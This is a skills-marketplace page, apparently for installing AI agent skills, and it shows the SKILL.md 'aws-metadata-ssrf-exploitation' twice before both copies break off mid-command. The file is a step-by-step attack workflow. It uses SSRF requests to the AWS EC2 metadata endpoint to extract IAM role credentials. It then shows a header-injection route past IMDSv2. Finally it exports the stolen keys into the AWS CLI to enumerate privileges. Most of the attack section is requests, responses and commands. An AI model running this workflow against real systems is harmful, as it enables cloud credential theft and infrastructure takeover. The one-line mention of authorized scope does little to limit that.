aws-metadata-ssrf-exploitation

Name: aws-metadata-ssrf-exploitation
Author: ShulkwiSEC

18stars5forks

How to install aws-metadata-ssrf-exploitation?

shulkwisec/bb-huge/aws-metadata-ssrf-exploitation

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-metadata-ssrf-exploitation

Installs into the current project.

Summary

Exploit Server-Side Request Forgery (SSRF) vulnerabilities on Amazon Web Services (AWS) EC2 instances to access the highly sensitive Instance Metadata Service (IMDS). Circumvent basic protections and extract temporary IAM access keys, escalating privileges comprehensively across

Files · 1

View on GitHub

SKILL.md

1	# AWS Metadata SSRF Exploitation (IMDS)
2
3	## When to Use
4	- When identifying a robust Server-Side Request Forgery (SSRF) vulnerability on a web application explicitly hosted on Amazon Web Services (AWS) architecture (e.g., an EC2 instance or Elastic Beanstalk).
5	- To aggressively acquire high-privileged, temporary AWS IAM (Identity and Access Management) credentials to fundamentally escape the constrained Web Application payload boundary and directly compromise the overarching cloud infrastructure.
6	- To map backend infrastructure topology dynamically utilizing internal VPC IP ranges available natively within the metadata directory.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Identifying the Metadata Endpoint Target
18
19	```http
20	# Concept: AWS EC2 instances natively host an invisible, non-routable link-local IP address
21	# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.
22	# It provides massive amounts of configuration metadata regarding the server instance.
23	# If an SSRF vulnerability exists, the attacker commands the vulnerable EC2 server to HTTP GET
24	# its own metadata endpoint and return the secrets identically in the web response.
25
26	# Standard Target URIs (IMDSv1):
27	# http://169.254.169.254/latest/meta-data/
28	# http://169.254.169.254/latest/meta-data/iam/security-credentials/
29	```
30
31	### Phase 2: Exploiting IMDSv1 (Unprotected Metadata)
32
33	```http
34	# Concept: If the EC2 instance utilizes older infrastructure (IMDSv1), the endpoint natively
35	# accepts standard HTTP GET requests identically without requiring special authentication headers.
36
37	# 1. Execute the SSRF capturing the IAM Role Target Name
38	# Request:
39	GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
40	Host: www.target-app.com
41
42	# Response (Identifies the Role attached to the EC2):
43	HTTP/1.1 200 OK
44	Production_Web_App_Role
45
46	# 2. Extract the Temporary Credentials inherently assigned to that Role
47	# Request:
48	GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Production_Web_App_Role HTTP/1.1
49
50	# Response (The Loot):
51	HTTP/1.1 200 OK
52	{
53	"Code" : "Success",
54	"LastUpdated" : "2024-03-24T12:00:00Z",
55	"Type" : "AWS-HMAC",
56	"AccessKeyId" : "ASIA...",
57	"SecretAccessKey" : "ZxyY...",
58	"Token" : "IQoJb3JpZ2luX2VjEJv...",
59	"Expiration" : "2024-03-24T18:00:00Z"
60	}
61	```
62
63	### Phase 3: Bypassing Advanced Protections (IMDSv2)
64
65	```http
66	# Concept: AWS released IMDSv2 to explicitly kill simple SSRF attacks. IMDSv2 inherently
67	# demands a complex scenario:
68	# 1. You MUST first execute an HTTP PUT request to generate a highly specific Session Token.
69	# 2. You MUST include that exact Token in all subsequent HTTP GET HTTP headers.
70	# Most simplistic SSRF vulnerabilities purely accept URLs via GET and CANNOT manipulate HTTP
71	# Verbs or Headers, rendering IMDSv2 fundamentally immune.
72	# HOWEVER, if the SSRF allows header injection or complex fetching (e.g., CRLF injection), it can be bypassed.
73
74	# Attacking IMDSv2 (Assuming sophisticated SSRF capabilities):
75	# Step 1: Request the Token (TTL 21600 seconds)
76	# Attack Vector: Forcing the SSRF proxy to execute a PUT request appending the mandatory header.
77	PUT /latest/api/token HTTP/1.1
78	X-aws-ec2-metadata-token-ttl-seconds: 21600
79
80	# Step 2: Utilize the retrieved Token to access the credentials
81	GET /latest/meta-data/iam/security-credentials/Production_Web_Role HTTP/1.1
82	X-aws-ec2-metadata-token: [INSERT_GENERATED_TOKEN]
83	```
84
85	### Phase 4: Escalation using the Stolen Keys
86
87	```bash
88	# Concept: The attacker is no longer a standard web hacker; they are intrinsically authenticated
89	# within the AWS infrastructure utilizing the EC2's intrinsic permissions.
90
91	# 1. Configure the AWS CLI locally utilizing the stolen dynamic keys.
92	export AWS_ACCESS_KEY_ID=ASIA...
93	export AWS_SECRET_ACCESS_KEY=ZxyY...
94	export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2V...
95
96	# 2. Enumerate assigned Privileges
97	aws sts get-caller-identity
98	aws ia

People who liked this also viewed

6 picks

Type

aws-metadata-ssrf-exploitation

18stars5forks

View on GitHub

How to install aws-metadata-ssrf-exploitation?

shulkwisec/bb-huge/aws-metadata-ssrf-exploitation

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-metadata-ssrf-exploitation

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS Metadata SSRF Exploitation (IMDS)
2
3	## When to Use
4	- When identifying a robust Server-Side Request Forgery (SSRF) vulnerability on a web application explicitly hosted on Amazon Web Services (AWS) architecture (e.g., an EC2 instance or Elastic Beanstalk).
5	- To aggressively acquire high-privileged, temporary AWS IAM (Identity and Access Management) credentials to fundamentally escape the constrained Web Application payload boundary and directly compromise the overarching cloud infrastructure.
6	- To map backend infrastructure topology dynamically utilizing internal VPC IP ranges available natively within the metadata directory.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Identifying the Metadata Endpoint Target
18
19	```http
20	# Concept: AWS EC2 instances natively host an invisible, non-routable link-local IP address
21	# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.
22	# It provides massive amounts of configuration metadata regarding the server instance.
23	# If an SSRF vulnerability exists, the attacker commands the vulnerable EC2 server to HTTP GET
24	# its own metadata endpoint and return the secrets identically in the web response.
25
26	# Standard Target URIs (IMDSv1):
27	# http://169.254.169.254/latest/meta-data/
28	# http://169.254.169.254/latest/meta-data/iam/security-credentials/
29	```
30
31	### Phase 2: Exploiting IMDSv1 (Unprotected Metadata)
32
33	```http
34	# Concept: If the EC2 instance utilizes older infrastructure (IMDSv1), the endpoint natively
35	# accepts standard HTTP GET requests identically without requiring special authentication headers.
36
37	# 1. Execute the SSRF capturing the IAM Role Target Name
38	# Request:
39	GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
40	Host: www.target-app.com
41
42	# Response (Identifies the Role attached to the EC2):
43	HTTP/1.1 200 OK
44	Production_Web_App_Role
45
46	# 2. Extract the Temporary Credentials inherently assigned to that Role
47	# Request:
48	GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Production_Web_App_Role HTTP/1.1
49
50	# Response (The Loot):
51	HTTP/1.1 200 OK
52	{
53	"Code" : "Success",
54	"LastUpdated" : "2024-03-24T12:00:00Z",
55	"Type" : "AWS-HMAC",
56	"AccessKeyId" : "ASIA...",
57	"SecretAccessKey" : "ZxyY...",
58	"Token" : "IQoJb3JpZ2luX2VjEJv...",
59	"Expiration" : "2024-03-24T18:00:00Z"
60	}
61	```
62
63	### Phase 3: Bypassing Advanced Protections (IMDSv2)
64
65	```http
66	# Concept: AWS released IMDSv2 to explicitly kill simple SSRF attacks. IMDSv2 inherently
67	# demands a complex scenario:
68	# 1. You MUST first execute an HTTP PUT request to generate a highly specific Session Token.
69	# 2. You MUST include that exact Token in all subsequent HTTP GET HTTP headers.
70	# Most simplistic SSRF vulnerabilities purely accept URLs via GET and CANNOT manipulate HTTP
71	# Verbs or Headers, rendering IMDSv2 fundamentally immune.
72	# HOWEVER, if the SSRF allows header injection or complex fetching (e.g., CRLF injection), it can be bypassed.
73
74	# Attacking IMDSv2 (Assuming sophisticated SSRF capabilities):
75	# Step 1: Request the Token (TTL 21600 seconds)
76	# Attack Vector: Forcing the SSRF proxy to execute a PUT request appending the mandatory header.
77	PUT /latest/api/token HTTP/1.1
78	X-aws-ec2-metadata-token-ttl-seconds: 21600
79
80	# Step 2: Utilize the retrieved Token to access the credentials
81	GET /latest/meta-data/iam/security-credentials/Production_Web_Role HTTP/1.1
82	X-aws-ec2-metadata-token: [INSERT_GENERATED_TOKEN]
83	```
84
85	### Phase 4: Escalation using the Stolen Keys
86
87	```bash
88	# Concept: The attacker is no longer a standard web hacker; they are intrinsically authenticated
89	# within the AWS infrastructure utilizing the EC2's intrinsic permissions.
90
91	# 1. Configure the AWS CLI locally utilizing the stolen dynamic keys.
92	export AWS_ACCESS_KEY_ID=ASIA...
93	export AWS_SECRET_ACCESS_KEY=ZxyY...
94	export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2V...
95
96	# 2. Enumerate assigned Privileges
97	aws sts get-caller-identity
98	aws ia

People who liked this also viewed

6 picks

Type